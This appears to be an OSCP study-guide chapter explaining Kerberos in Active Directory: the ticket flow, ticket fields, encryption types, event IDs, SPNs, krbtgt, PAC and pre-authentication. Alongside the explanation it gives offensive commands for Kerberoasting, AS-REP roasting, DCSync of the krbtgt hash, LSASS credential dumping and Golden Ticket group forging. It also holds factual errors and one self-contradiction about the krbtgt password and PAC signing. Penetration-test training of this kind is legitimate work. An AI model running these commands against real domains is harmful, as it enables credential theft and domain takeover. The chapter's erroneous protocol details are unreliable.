Domain 6Active Directory AttacksCORE

Kerberos Protocol Deep Dive

Comprehensive deep dive into the Kerberos authentication protocol, covering KDC architecture, the full authentication flow (AS-REQ through service auth), ticket structure, encryption types, ports, and key concepts like SPNs, principals, PAC, and pre-authentication.

Domain: Domain 6: Active Directory Exploitation•Updated: 2026-09-01
#Kerberos#KDC#TGT#TGS#Authentication Protocol

Kerberos Protocol Deep Dive

OSCP Study Guide | Chapter 18 | Active Directory Authentication

This topic provides a thorough, self-contained study resource for understanding the Kerberos authentication protocol — the backbone of Active Directory authentication. Mastering Kerberos is essential because nearly every AD attack chain either abuses Kerberos directly or relies on Kerberos tickets as the end goal.


Table of Contents

  1. What is Kerberos?
  2. KDC Architecture
  3. Authentication Process (Step by Step)
  4. Ticket Structure
  5. Kerberos Encryption Types
  6. Ports and Traffic
  7. Key Concepts
  8. Common Pitfalls and Misconceptions
  9. Quick Reference Cheat Sheet

1. What is Kerberos?

1.1 Overview

Kerberos is a network authentication protocol originally developed by MIT in the 1980s (named after the three-headed dog Cerberus from Greek mythology, guarding the gates of the underworld — a fitting metaphor for a protocol that guards access to network resources). It has been the default authentication protocol in Active Directory since Windows 2000, replacing the older NTLM protocol for domain-level authentication.

At its core, Kerberos solves a fundamental problem: How can a user prove their identity to a remote service without sending their password over the network?

1.2 How Kerberos Differs from NTLM

Understanding what Kerberos replaces helps clarify why it matters:

Feature NTLM Kerberos
Architecture Challenge-response, point-to-point Centralized, ticket-based
Password transmission NTLM hash sent as response (can be relayed) Password/hash never leaves the client or KDC
Mutual authentication No (client authenticates to server only) Yes (both client and server verify each other)
Delegation support Limited Full (constrained, unconstrained, RBCD)
Scalability Poor (each server needs to verify credentials) Excellent (single KDC, ticket reuse)
Default in AD Fallback only Primary authentication method

1.3 Core Design Principles

Kerberos is built on several key cryptographic and architectural principles:

  1. Symmetric-key cryptography: All encryption in Kerberos uses shared secrets (derived from passwords/hashes). Both parties must know the same key to encrypt and decrypt. This is fundamentally different from public-key (asymmetric) cryptography.

  2. Trusted third party (KDC): Instead of every server independently verifying credentials, Kerberos introduces a central authority — the Key Distribution Center — that both clients and servers trust. Think of it like a passport office: you don’t prove your identity to every border guard; you get a passport from a trusted authority, and border guards just verify the passport.

  3. Ticket-based authentication: Rather than repeatedly sending credentials, Kerberos issues time-limited tickets that prove identity. Once you have a valid ticket, you can access services without re-entering your password.

  4. Timestamps and replay protection: Kerberos uses timestamps (with a default 5-minute skew tolerance) to prevent replay attacks. An intercepted ticket cannot be reused after its validity window.

  5. No password transmission: The user’s password (or its derived hash) is never transmitted across the network. It exists only on the client (to create encrypted pre-authentication data) and on the KDC (to verify it).

1.4 Why Kerberos Matters for OSCP

Why this matters for OSCP: Kerberos is not just background knowledge — it is the foundation for some of the most important attack paths in the exam. Kerberoasting, AS-REP Roasting, Golden/Silver Tickets, Pass-the-Ticket, delegation abuse, and Shadow Credentials all exploit or manipulate Kerberos mechanisms. If you don’t understand how Kerberos works internally, you won’t understand why these attacks work, when they apply, or how to execute them effectively. On OSCP labs, you will frequently encounter machines where Kerberos-based attacks are the primary or only path to domain compromise.

1.5 Real-World Analogy: The Hotel Key Card System

To build intuition, think of Kerberos as a hotel key card system:

Kerberos Concept Hotel Analogy
User/Client Hotel guest
KDC (AS) Front desk — verifies your ID and issues your master key card
TGT Master key card — encrypted, proves you checked in
KDC (TGS) Key card programming station — uses your master card to program room-specific cards
Service Ticket Room-specific key card — only opens the gym, pool, or your room
SPN Room/amenity number — uniquely identifies where the card works
Authenticator Time-stamped PIN — prevents someone from using a copied card
krbtgt The hotel’s master encryption key — programs all key cards
Pre-authentication Showing your ID at check-in — proves you’re who you say you are

When you check in (AS-REQ/AS-REP), you show your ID and get a master key card (TGT). When you want to access the gym (TGS-REQ/TGS-REP), you use your master card to get a gym-specific card (service ticket). When you enter the gym (Service Auth), the door reads your gym card and lets you in. The front desk (KDC) never needs to be involved again after issuing the master card.


2. KDC Architecture

2.1 What is the KDC?

The Key Distribution Center (KDC) is the heart of Kerberos. It is a Windows service (Kerberos Key Distribution Center) that runs on every Domain Controller in an Active Directory domain. The KDC is responsible for:

  • Authenticating users and services
  • Issuing tickets (TGTs and service tickets)
  • Managing session keys
  • Storing and looking up account secrets (password hashes) from the AD database

2.2 KDC Components

The KDC consists of two logical components, both listening on the same port (88):

Authentication Service (AS)

The AS is the first point of contact in the Kerberos authentication flow. Its responsibilities:

  • Receives the initial authentication request (AS-REQ) from the client
  • Looks up the user’s account in the AD database
  • Verifies the pre-authentication data (typically a timestamp encrypted with the user’s NTLM hash-derived key)
  • If verification succeeds, generates and returns:
    • A TGT (Ticket Granting Ticket) encrypted with the krbtgt account’s hash
    • A session key encrypted with the user’s hash
  • If pre-authentication fails, the AS rejects the request (preventing offline password guessing)

Key insight: The AS is the only component that directly verifies the user’s password-derived secret. After the AS issues a TGT, no further password verification is needed — the TGT itself becomes proof of identity.

Ticket-Granting Service (TGS)

The TGS handles all subsequent ticket requests after the initial authentication. Its responsibilities:

  • Receives TGS-REQ messages containing a TGT and an authenticator
  • Decrypts the TGT using the krbtgt account’s hash (only the KDC can do this)
  • Verifies the authenticator (ensuring the request is fresh and from the legitimate ticket holder)
  • Looks up the target service’s account in AD
  • Generates and returns:
    • A service ticket encrypted with the target service account’s hash
    • A new session key encrypted with the original session key from the TGT

Key insight: The TGS never sees the user’s password. It trusts the TGT (which only the KDC could have issued) and the authenticator (which only the legitimate ticket holder could have created with the session key).

2.3 KDC and Active Directory Integration

The KDC does not store credentials independently — it reads them from the Active Directory database (NTDS.dit). Specifically:

  • User and computer account NTLM hashes are stored in the ntPassword attribute
  • The KDC derives encryption keys from these hashes based on the requested encryption type
  • The krbtgt account is a special AD account (RID 502) whose hash is used to encrypt all TGTs
  • When a domain password policy requires a password change, the hash in AD updates, and the KDC automatically uses the new hash
graph TB
    subgraph DC["Domain Controller"]
        KDC_SVC["KDC Service<br/>(lsass.exe)"]
        AS["AS<br/>Authentication Service"]
        TGS["TGS<br/>Ticket-Granting Service"]
        NTDS["NTDS.dit<br/>(AD Database)"]
    end

    CLIENT["Client / User"]
    SRV["Target Service<br/>(File Server, SQL, etc.)"]

    CLIENT -->|Port 88| KDC_SVC
    KDC_SVC --> AS
    KDC_SVC --> TGS
    AS -->|Reads hashes| NTDS
    TGS -->|Reads hashes| NTDS
    CLIENT -->|Port 88| KDC_SVC
    CLIENT -->|Service Ticket| SRV

    style KDC_SVC fill:#f9d,stroke:#333
    style AS fill:#bbf,stroke:#333
    style TGS fill:#bbf,stroke:#333
    style NTDS fill:#f96,stroke:#333

2.4 Multiple Domain Controllers

In a real AD environment, every Domain Controller runs a KDC instance. This means:

  • Any DC can process AS-REQ and TGS-REQ requests
  • The KDC service replicates account data via AD replication
  • Clients typically contact their closest DC (determined by the Site Locator service)
  • For attacks, this means you can target any DC in the domain for Kerberos operations

OSCP Tip: When using tools like Rubeus or Impacket, you can specify which DC to target using the -dc-ip flag. This is useful when you need to route traffic through a specific DC or when the default DC discovery fails.


3. Authentication Process (Step by Step)

The Kerberos authentication process consists of five distinct steps. Understanding each step — including what data is sent, how it is encrypted, and who can read it — is critical for understanding both how Kerberos secures access and how attackers exploit it.

3.1 The Complete Flow (Visual Overview)

sequenceDiagram
    autonumber
    participant C as Client (User)
    participant AS as KDC - AS<br/>(Authentication Service)
    participant TGS as KDC - TGS<br/>(Ticket-Granting Service)
    participant S as Target Service

    Note over C,S: Step 1-2: Authentication Service Exchange
    C->>AS: AS-REQ<br/>(username, timestamp encrypted with user's key, realm)
    AS-->>C: AS-REP<br/>(TGT encrypted with krbtgt hash,<br/>Session Key K1 encrypted with user's hash)

    Note over C,S: Step 3-4: Ticket-Granting Service Exchange
    C->>TGS: TGS-REQ<br/>(TGT, Authenticator encrypted with K1,<br/>Requested SPN)
    TGS-->>C: TGS-REP<br/>(Service Ticket encrypted with service's hash,<br/>Session Key K2 encrypted with K1)

    Note over C,S: Step 5: Service Authentication
    C->>S: Service Request<br/>(Service Ticket, Authenticator encrypted with K2)
    S-->>C: Access Granted (or Mutual Auth Response)

3.2 Step 1: AS-REQ (Authentication Service Request)

What happens: The client initiates authentication by sending an AS-REQ to the KDC’s Authentication Service.

Contents of AS-REQ:

Field Description Encrypted?
cname Client principal name (e.g., jdoe@CORP.LOCAL) No
realm Kerberos realm (typically the domain name in uppercase) No
sname Service name (typically krbtgt/CORP.LOCAL for TGT request) No
till Desired ticket lifetime No
rtime Desired renewable lifetime No
etype Requested encryption types (ordered by preference) No
Pre-authentication data Timestamp encrypted with the user’s NTLM hash-derived key Yes

The pre-authentication data (PA-DATA):

This is the most critical part of AS-REQ. With pre-authentication enabled (default since Windows Vista/Server 2008), the client must prove it knows the user’s password before the KDC issues any tickets. The client does this by:

  1. Taking the current timestamp
  2. Encrypting it with a key derived from the user’s NTLM hash (using the requested encryption type, e.g., RC4 or AES)
  3. Including this encrypted timestamp in the AS-REQ as PA-DATA (etype 11, PA-ENC-TIMESTAMP)

Why this matters: If pre-authentication were not required, anyone could request an AS-REP for any username, and the KDC would return a response encrypted with that user’s hash — enabling offline password cracking. Pre-authentication prevents this by requiring proof of the password upfront.

Command to observe AS-REQ traffic:

# On Kali/Linux, capture Kerberos traffic
sudo tcpdump -i eth0 -nn port 88 -w kerberos_capture.pcap

# On Windows, enable Kerberos logging
# Event Viewer -> Windows Logs -> Security
# Filter for Event ID 4768 (A Kerberos authentication ticket was requested)

3.3 Step 2: AS-REP (Authentication Service Response)

What happens: The KDC’s AS verifies the pre-authentication data and, if valid, returns the TGT and a session key.

Verification process on the KDC:

  1. The AS looks up the user’s account in the AD database
  2. It retrieves the user’s NTLM hash
  3. It derives the encryption key from the hash (based on the requested encryption type)
  4. It decrypts the PA-DATA timestamp using this key
  5. It checks if the timestamp is within the allowed skew (default: 5 minutes)
  6. If valid, it proceeds; if invalid, it rejects the request

Contents of AS-REP:

Field Description Encrypted With Who Can Read
TGT (Encrypted Part) Contains client info, session key, timestamps, PAC krbtgt account’s hash Only the KDC
TGT (Decrypted copy for client) Same as above, but the client never sees this directly — —
Session Key (K1) Random key for subsequent communication User’s NTLM hash-derived key Only the client
enc-asrep The encrypted package containing both TGT and session key User’s hash Client + KDC

Critical detail about the TGT:

The TGT is encrypted with the krbtgt account’s hash. This means:

  • Only the KDC (which knows the krbtgt hash) can decrypt and read the TGT
  • The client receives the TGT but cannot read its own TGT — it can only present it as an opaque blob
  • This is why compromising the krbtgt hash is so devastating (Golden Ticket attack)

TGT lifetime:

Setting Default Value Configurable?
Maximum ticket life 10 hours Yes (Group Policy)
Maximum renewal age 7 days (168 hours) Yes (Group Policy)
Clock skew tolerance 5 minutes Yes (registry)

Command to check current tickets:

# On Windows - view cached Kerberos tickets
klist

# On Windows - view tickets in detail
klist tickets

# On Windows - purge all cached tickets
klist purge

# On Linux/Kali - view cached tickets
kvno -n FILE:ticket.ccache krbtgt/DOMAIN.LOCAL@DOMAIN.LOCAL

3.4 Step 3: TGS-REQ (Ticket-Granting Service Request)

What happens: The client now wants to access a specific service (e.g., a file share, SQL database, or web application). It sends a TGS-REQ to the KDC’s TGS component.

Contents of TGS-REQ:

Field Description Encrypted With
TGT The TGT received from AS-REP krbtgt hash (KDC can decrypt)
Authenticator Fresh proof of identity Session Key K1 (from AS-REP)
sname Target service’s SPN (e.g., cifs/fileserver.corp.local) No
realm Target realm No

The Authenticator:

The authenticator is a critical anti-replay mechanism. It contains:

Field Description
cname Client principal name
realm Client realm
timestamp Current time (proves freshness)
sequence number Incrementing counter (prevents duplicate requests)
checksum Optional integrity check

The authenticator is encrypted with Session Key K1 — the same key the client received in the AS-REP. Only the client (who decrypted K1 from the AS-REP) and the KDC (who generated K1) know this key.

Why the authenticator matters:

Even if an attacker intercepts and replays a TGT, they cannot create a valid authenticator because they don’t know Session Key K1. The KDC will detect the mismatch and reject the request. This is the fundamental replay protection in Kerberos.

Command to request a specific service ticket:

# On Linux/Kali - request a TGS ticket for a specific service
kvno cifs/fileserver.corp.local@CORP.LOCAL

# On Windows - the TGS-REQ is automatic when accessing a service
# You can observe it with:
klist
# Or enable Kerberos debugging:
# reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters /v LogLevel /t REG_DWORD /d 1

3.5 Step 4: TGS-REP (Ticket-Granting Service Response)

What happens: The TGS processes the request and returns a service ticket.

Verification process on the TGS:

  1. Decrypts the TGT using the krbtgt hash → extracts the session key K1 and client identity
  2. Decrypts the authenticator using session key K1 → verifies the client identity matches
  3. Checks the timestamp in the authenticator is within skew tolerance
  4. Looks up the target service account in AD
  5. Generates a new session key (K2) for client-service communication
  6. Creates a service ticket encrypted with the target service account’s hash

Contents of TGS-REP:

Field Description Encrypted With Who Can Read
Service Ticket Contains client info, session key K2, timestamps Target service account’s hash Only the target service
Session Key (K2) New key for client-service communication Session Key K1 Only the client

Critical detail about the service ticket:

The service ticket is encrypted with the target service account’s NTLM hash. This means:

  • The target service can decrypt and read its own tickets
  • The client receives the service ticket but cannot read it — it can only present it
  • This is the foundation of Kerberoasting: any domain user can request a service ticket for any SPN, and the returned ticket is encrypted with the service account’s hash — which can be cracked offline

Command to observe TGS tickets:

# On Windows - filter klist output for TGS tickets
klist tgs

# On Linux/Kali - view TGS tickets
klist -c FILE:ticket.ccache

3.6 Step 5: Service Authentication

What happens: The client presents the service ticket to the target service to gain access.

Contents of the service request:

Field Description Encrypted With
Service Ticket From TGS-REP Service account’s hash (service can decrypt)
Authenticator Fresh proof of identity Session Key K2 (from TGS-REP)

Service-side verification:

  1. The service decrypts the service ticket using its own account’s NTLM hash
  2. Extracts Session Key K2 from the ticket
  3. Decrypts the authenticator using K2
  4. Verifies the client identity in the authenticator matches the ticket
  5. Verifies the timestamp is fresh (within skew tolerance)
  6. If all checks pass → grants access

Mutual authentication (optional but common):

In many configurations, the service also proves its identity to the client. The service creates a response containing the session key K2 and a timestamp, encrypted with K2. The client decrypts this and verifies it — proving the service knows K2 and is therefore legitimate. This prevents man-in-the-middle attacks where an impostor service tries to capture the client’s ticket.

graph LR
    subgraph Client
        C1["1. Decrypt service ticket<br/>with K2"]
        C2["2. Verify authenticator<br/>matches ticket"]
        C3["3. Check timestamp<br/>is fresh"]
        C4["4. Optional: Verify<br/>mutual auth response"]
    end

    subgraph Service
        S1["1. Decrypt ticket<br/>with own hash"]
        S2["2. Extract K2<br/>from ticket"]
        S3["3. Decrypt authenticator<br/>with K2"]
        S4["4. Verify client identity<br/>and timestamp"]
    end

    S1 --> S2 --> S3 --> S4
    C1 --> C2 --> C3 --> C4

    style Client fill:#e1f5fe,stroke:#01579b
    style Service fill:#fce4ec,stroke:#880e4f

Why this matters for OSCP: Understanding Step 5 is crucial for Pass-the-Ticket attacks. If you capture a valid service ticket (e.g., from memory using Mimikatz or Rubeus), you can present it to the target service exactly as the legitimate client would — and the service has no way to distinguish your replayed ticket from a genuine one (as long as it’s within the validity window and you can create a valid authenticator with the session key).


4. Ticket Structure

4.1 Kerberos Ticket Anatomy

A Kerberos ticket (whether a TGT or a service ticket) follows a standardized structure defined in RFC 4120. Understanding each field is important because attackers manipulate specific fields when forging tickets.

┌─────────────────────────────────────────────────────┐
│              Kerberos Ticket (AP-REQ)                 │
├─────────────────────────────────────────────────────┤
│ Version Number:           5                          │
│ Ticket Encryption Type:   aes256-cts-hmac-sha1       │
│ Realm:                    CORP.LOCAL                 │
│ Server Name:              cifs/FILESERVER            │
│ Encrypted Part:           [ENCRYPTED BLOB]           │
│   ┌─────────────────────┐                            │
│   │ Session Key (K2)    │                            │
│   │ Client Principal    │ jdoe@CORP.LOCAL            │
│   │ Client Realm        │ CORP.LOCAL                 │
│   │ CAddr (Client IP)   │ 192.168.1.100              │
│   │ Start Time          │ 2026-08-31 10:00:00 UTC    │
│   │ End Time            │ 2026-08-31 20:00:00 UTC    │
│   │ Renew Till          │ 2026-09-07 10:00:00 UTC    │
│   │ Flags               │ forwardable, renewable     │
│   │ Authorization Data  │ PAC (group memberships)    │
│   └─────────────────────┘                            │
└─────────────────────────────────────────────────────┘

4.2 Detailed Field Breakdown

Field Description Attack Relevance
Version Number Protocol version (always 5 for Kerberos v5) Must be set correctly when forging tickets
Ticket Encryption Type Algorithm used to encrypt the ticket (e.g., aes256-cts-hmac-sha1) Determines which hash/algorithm the attacker needs; RC4 (etype 23) is fastest to crack
Server Name The service principal the ticket is for (e.g., krbtgt/CORP.LOCAL for TGT, cifs/FILESERVER for service ticket) Must match exactly when presenting; used in Silver Ticket forging
Realm Kerberos realm (domain name, uppercase) Must match the target domain
Session Key Random key for secure communication between client and service Extracted from dumped tickets for Pass-the-Ticket; used to create authenticators
Client Principal Who the ticket was issued to (e.g., jdoe@CORP.LOCAL) Forged to any value in Golden/Silver tickets
Start Time When the ticket becomes valid Can be set to the past in forged tickets
End Time When the ticket expires Golden tickets can be set to 10 years; Silver tickets limited by service ticket max
Renew Till Maximum time the ticket can be renewed until Extends the effective lifetime of the ticket
CAddr (Client Addresses) IP addresses allowed to use this ticket Optional; if present, restricts which IPs can use the ticket
Flags Ticket properties (forwardable, renewable, pre-auth, etc.) Critical for delegation attacks; forwardable flag enables S4U abuse
Authorization Data In AD: contains the PAC (Privilege Attribute Certificate) with group SIDs Forged in Golden tickets to include Domain Admins SID (512)

4.3 TGT vs. Service Ticket Comparison

Property TGT Service Ticket
Server Name krbtgt/DOMAIN.COM Service SPN (e.g., cifs/fileserver.domain.com)
Encrypted with krbtgt account’s hash Target service account’s hash
Issued by AS (Authentication Service) TGS (Ticket-Granting Service)
Used to obtain Service tickets (via TGS) Access to the target service
Default lifetime 10 hours 10 hours
Max renewal 7 days (168 hours) 7 days (168 hours)
Forged as Golden Ticket Silver Ticket
Who can read it Only the KDC Only the target service

OSCP Tip: When dumping tickets with Rubeus or Mimikatz, TGTs are identified by their server name krbtgt/DOMAIN.COM. Service tickets show the target SPN. Use Rubeus.exe triage to see all cached tickets at a glance.


5. Kerberos Encryption Types

5.1 Overview

Kerberos supports multiple encryption algorithms, identified by encryption type (etype) numbers. The encryption type determines:

  1. How the pre-authentication timestamp is encrypted
  2. How the session keys are derived
  3. How tickets are encrypted
  4. How difficult it is to crack captured tickets offline

5.2 Encryption Types Reference

etype Algorithm Key Size Strength Hashcat Mode Crack Speed (GPU) Notes
23 RC4-HMAC 128-bit ⚠️ Weak 13100 Very fast (~500k H/s) Default for pre-Windows Vista accounts; fastest to crack
17 AES128-CTS-HMAC-SHA1 128-bit ✅ Medium 19600 Moderate (~100k H/s) Available since Windows Vista/Server 2008
18 AES256-CTS-HMAC-SHA1 256-bit ✅✅ Strong 19600 Slower (~50k H/s) Recommended; available since Windows Vista/Server 2008
16 DES-CBC-MD5 56-bit ❌ Broken — Instant Legacy only; disabled by default
1 DES-CBC-CRC 56-bit ❌ Broken — Instant Legacy only; disabled by default
19 AES128-CTS-HMAC-SHA1-96 128-bit ✅ Medium — — Kerberos-specific variant
20 AES256-CTS-HMAC-SHA1-96 256-bit ✅✅ Strong — — Kerberos-specific variant

5.3 How Encryption Type is Determined

When a client requests authentication, it sends a preferred encryption type list in the AS-REQ. The KDC selects the strongest type supported by both the client and the account. The account’s supported types depend on:

Factor Effect
Account creation time Accounts created before Windows Vista/Server 2008 may only support RC4
User Account Control (UAC) flag USE_DES_KEY_ONLY (0x200) forces DES; USE_AES_KEYS (0x80000) enables AES
Domain functional level Higher functional levels can enforce stronger encryption
Group Policy Can disable weak encryption types domain-wide

Checking an account’s encryption capabilities:

# Check UAC flags for a user
Get-ADUser jdoe -Properties UserAccountControl | Select-Object Name, UserAccountControl

# Convert UAC value to flags
# 0x80000 (524288) = USE_AES_KEYS - AES encryption enabled
# 0x200 (512) = USE_DES_KEY_ONLY - DES only (weak)
# 0x400000 (4194304) = DONT_REQ_PREAUTH - Pre-authentication disabled

# Using Rubeus to check encryption types
Rubeus.exe kerberoast /stats
# Output shows etype for each SPN

# Using PowerShell to check specific user
$user = Get-ADUser jdoe -Properties UserAccountControl
$uac = $user.UserAccountControl
if ($uac -band 0x80000) { Write-Host "AES keys enabled" }
if ($uac -band 0x200) { Write-Host "DES only" }

5.4 Why Encryption Type Matters for Attacks

For Kerberoasting:

  • RC4 (etype 23) tickets crack extremely fast on modern GPUs — a weak password can be cracked in seconds
  • AES128/AES256 (etype 17/18) tickets are significantly slower to crack, making them more resilient against simple password attacks
  • On OSCP labs, RC4 tickets are the low-hanging fruit; always try etype 23 first

For AS-REP Roasting:

  • Accounts without pre-authentication may return AS-REPs in RC4, AES128, or AES256
  • Each etype has a different Hashcat mode (18200 for RC4, 19100 for AES128, 19200 for AES256)

For ticket forging:

  • Golden/Silver tickets require knowing the encryption type and having the correct hash
  • RC4 tickets are easiest to forge (Mimikatz defaults to RC4)

Why this matters for OSCP: When you kerberoast and get hashes, check the etype. If you see $krb5tgs$23$, use Hashcat mode 13100. If you see $krb5tgs$18$ or $krb5tgs$17$, use mode 19600. Getting the mode wrong wastes time — and in the exam, time is critical.


6. Ports and Traffic

6.1 Kerberos Network Ports

Port Protocol Purpose OSCP Relevance
88 TCP and UDP KDC communication (both AS and TGS) Primary port — all Kerberos attacks target this port
464 TCP and UDP Kerberos password change service (kpasswd) Used for password change operations; rarely targeted in attacks
749 TCP KIP (Kerberos Internet Protocol) — kprop Used for KDC replication; rarely seen in Windows AD

6.2 Identifying Kerberos Traffic

On Linux/Kali:

# Capture Kerberos traffic
sudo tcpdump -i eth0 -nn port 88 -w kerberos.pcap

# Capture with verbose output
sudo tcpdump -i eth0 -nn -vv port 88

# Filter for AS-REQ (typically smaller packets) vs TGS-REQ (larger, contain TGT)
sudo tcpdump -i eth0 -nn port 88 and 'udp[7:2] > 200'

# Using tshark for protocol analysis
sudo tshark -i eth0 -Y kerberos -V

On Windows:

# Enable Kerberos authentication auditing
# Group Policy: Computer Configuration -> Policies -> Windows Settings -> Security Settings -> 
# Advanced Audit Policy Configuration -> Logon/Logoff -> Audit Kerberos Authentication Service

# View Kerberos events
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4768} | Select-Object -First 5
# Event 4768 = A Kerberos authentication ticket (TGT) was requested

Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4769} | Select-Object -First 5
# Event 4769 = A Kerberos service ticket was requested

6.3 Kerberos Event IDs Reference

Event ID Description Attack Indicator
4768 TGT requested (AS-REQ processed) Mass 4768 events = potential AS-REP roasting or brute force
4769 Service ticket requested (TGS-REQ processed) Many 4769 events to different SPNs = potential Kerberoasting
4770 Client ticket encrypted with different encryption type May indicate downgrade attack
4771 Kerberos pre-authentication failed Brute force attempt or AS-REP roasting target
4772 Kerberos service ticket encryption type changed Potential attack indicator
4773 User’s key successfully converted based policy Normal operation
4774 An account was successfully mapped to an external account Potential cross-realm attack
4776 NTLM authentication event (not Kerberos) NTLM relay or pass-the-hash indicator

OSCP Tip: In lab environments, you rarely have access to DC event logs. Focus on client-side enumeration (Rubeus, klist, PowerView) rather than server-side log analysis. However, knowing these event IDs helps you understand what defenders would see — useful for the exam report.


7. Key Concepts

7.1 Principal

A principal is a unique identity in the Kerberos realm. Every entity that authenticates via Kerberos has a principal name.

Format: name@REALM or name/instance@REALM

Types of principals:

Type Format Example Description
User username@REALM jdoe@CORP.LOCAL Regular user account
Service service/hostname@REALM cifs/FILESERVER@CORP.LOCAL Service running on a specific host
Host host/hostname@REALM host/dc01.corp.local@CORP.LOCAL Computer account (used for mutual authentication)
krbtgt krbtgt@REALM or krbtgt/REALM@REALM krbtgt/CORP.LOCAL@CORP.LOCAL Special KDC account for TGT encryption

Key points:

  • The realm is always the domain name in uppercase
  • Principal names are case-insensitive for the name portion but case-sensitive for the realm
  • In Active Directory, the realm maps directly to the DNS domain name

7.2 SPN (Service Principal Name)

An SPN is a unique identifier that Kerberos uses to identify a specific service instance. It is the bridge between the Kerberos protocol and Windows services.

Format: ServiceClass[/Hostname[/Port]]

Common SPN formats:

Service SPN Format Example
CIFS (File Share) cifs/hostname.domain.com cifs/fileserver.corp.local
MSSQL MSSQLSvc/hostname.domain.com:port MSSQLSvc/sqlserver.corp.local:1433
HTTP/IIS HTTP/hostname.domain.com HTTP/webapp.corp.local
LDAP LDAP/hostname.domain.com LDAP/dc01.corp.local
Terminal Services WSS/hostname.domain.com WSS/rdpserver.corp.local
Exchange EWS/hostname.domain.com EWS/mail.corp.local

How SPNs are registered:

  1. Automatic registration: When a service starts, it can automatically register its SPN using the account it runs under (if the account has permission)
  2. Manual registration: An administrator sets the servicePrincipalName attribute on the service account using AD tools
  3. Service Control Manager: Windows SCM can auto-register SPNs for services running under specific accounts

Enumerating SPNs:

# Using PowerShell AD module
Get-ADUser -Filter {servicePrincipalName -ne "$null"} -Properties servicePrincipalName |
    Select-Object Name, servicePrincipalName

# Using PowerView
Get-DomainUser -SPN

# Using Rubeus
Rubeus.exe kerberoast /stats

# Using setspn (Windows support tool)
setspn -Q */* -F

# Using ldapsearch
ldapsearch -H ldap://dc01.corp.local -D "user@corp.local" -w "password" \
    "(servicePrincipalName=*)" servicePrincipalName

Why this matters for OSCP: SPNs are the primary target for Kerberoasting. Every SPN registered to a non-admin account represents a potential offline crackable hash. On exam labs, always enumerate SPNs early — a weak service account password found via Kerberoasting can be the difference between partial and full domain compromise.

7.3 krbtgt Account

The krbtgt (Kerberos Target) account is arguably the most important account in an Active Directory domain.

Properties:

Property Value
RID 502
Type Managed service account
Password Auto-generated, very long, complex
Can be modified? No (cannot change password manually)
Can be disabled? No (disabling breaks all authentication)
Can be deleted? No

Why krbtgt is critical:

  1. TGT encryption: Every TGT issued by the KDC is encrypted with the krbtgt account’s NTLM hash. If an attacker obtains this hash, they can forge TGTs (Golden Ticket attack).

  2. Domain-wide impact: Compromising krbtgt effectively compromises the entire domain. A forged TGT can be used to request service tickets for any service in the domain.

  3. Password rotation: The only way to invalidate Golden Tickets is to change the krbtgt password. However, this must be done twice — because old TGTs encrypted with the first hash remain valid until they expire (up to 10 years with renewal). The second change ensures all old TGTs become invalid.

Obtaining the krbtgt hash:

# Via DCSync (requires Replicating Directory Changes access)
# Mimikatz
lsadump::dcsync /user:corp\krbtgt

# Impacket
python3 secretsdump.py corp.local/administrator:Password123@dc01.corp.local -just-dc-user krbtgt

# Via DC compromise (direct LSASS dump)
# Mimikatz
sekurlsa::logonpasswords
# Look for krbtgt in the output

7.4 PAC (Privilege Attribute Certificate)

The PAC is a Microsoft extension to Kerberos that carries authorization data. It is embedded in every Kerberos ticket issued by an Active Directory KDC.

What the PAC contains:

Data Description
User SID Security Identifier of the authenticated user
Group SIDs All group memberships (primary group, global groups, universal groups, local groups)
User claims Attribute-based access control claims (Windows 8+/Server 2012+)
Device claims Device-based claims for conditional access
Restricted SIDs SIDs that restrict access in certain contexts
Logon time When the authentication occurred
Key version Version of the krbtgt key used

How the PAC works:

  1. When the KDC issues a ticket, it creates a PAC containing the user’s group memberships and privileges
  2. The PAC is signed by the KDC using a special PAC signature key (stored in the AD database, separate from the krbtgt hash)
  3. The PAC is included in the Authorization Data field of the ticket
  4. When a service receives a ticket, it extracts the PAC and verifies the KDC’s signature
  5. The service uses the group SIDs in the PAC to make access control decisions

PAC and attacks:

  • Golden Ticket: When forging a Golden Ticket, the attacker manually constructs the PAC to include desired group SIDs (e.g., Domain Admins SID S-1-5-21-...-512)
  • PAC Binding Attack: A vulnerability (CVE-2021-42287 / “SamAccountName attack”) where attackers could manipulate the PAC by controlling the sAMAccountName attribute
  • PAC size: The PAC is signed but not encrypted within the ticket (the entire ticket is encrypted, but the structure is known). Large PACs (many group memberships) increase ticket size.

OSCP Tip: When using Mimikatz to create a Golden Ticket, the /groups parameter lets you specify which group SIDs to include in the forged PAC. Including 512 (Domain Admins) and 519 (Enterprise Admins) gives you maximum access.

7.5 Pre-Authentication

Kerberos pre-authentication (specifically PA-ENC-TIMESTAMP, defined in RFC 6113) is a security mechanism that prevents offline password guessing attacks.

How it works:

  1. The client encrypts the current timestamp with a key derived from the user’s password
  2. This encrypted timestamp is sent to the KDC in the AS-REQ
  3. The KDC decrypts the timestamp using the user’s stored hash
  4. If the timestamp is valid (within 5-minute skew), the KDC proceeds with authentication
  5. If the timestamp is invalid or cannot be decrypted, the KDC rejects the request without revealing any useful information

Without pre-authentication (the vulnerability):

  1. The attacker sends an AS-REQ for any username (no encrypted timestamp needed)
  2. The KDC, not finding pre-auth data, assumes it’s not required and proceeds
  3. The KDC returns an AS-REP encrypted with the user’s hash
  4. The attacker now has a hash they can crack offline at unlimited speed
  5. This is the AS-REP Roasting attack

Checking pre-authentication status:

# Using PowerShell
Get-ADUser -Filter * -Properties DONT_REQ_PREAUTH |
    Where-Object { $_.DONT_REQ_PREAUTH -eq $true } |
    Select-Object Name, DONT_REQ_PREAUTH

# Using UAC flag (0x400000 = 4194304)
Get-ADUser jdoe -Properties UserAccountControl |
    ForEach-Object {
        $uac = $_.UserAccountControl
        if ($uac -band 0x400000) {
            Write-Host "$($_.Name) has pre-authentication DISABLED"
        } else {
            Write-Host "$($_.Name) has pre-authentication ENABLED"
        }
    }

# Using Rubeus
Rubeus.exe asreproast /format:hashcat

# Using Impacket
python3 GetNPUsers.py corp.local/ -usersfile targets.txt -format hashcat

Pre-authentication types:

Type etype Description
PA-ENC-TIMESTAMP 11 Standard pre-auth; timestamp encrypted with user’s key (most common)
PA-PK-AS-REQ 15 Public key pre-auth; uses certificate-based authentication
PA-PAC-REQUEST 128 PAC option request (not a pre-auth type, but related PA-DATA)

Why this matters for OSCP: Pre-authentication disabled accounts are a common misconfiguration in labs. Always check for AS-REP roasting targets early in your engagement. It requires no credentials and can yield domain admin passwords if a privileged account is misconfigured.

7.6 Additional Key Concepts

Session Keys

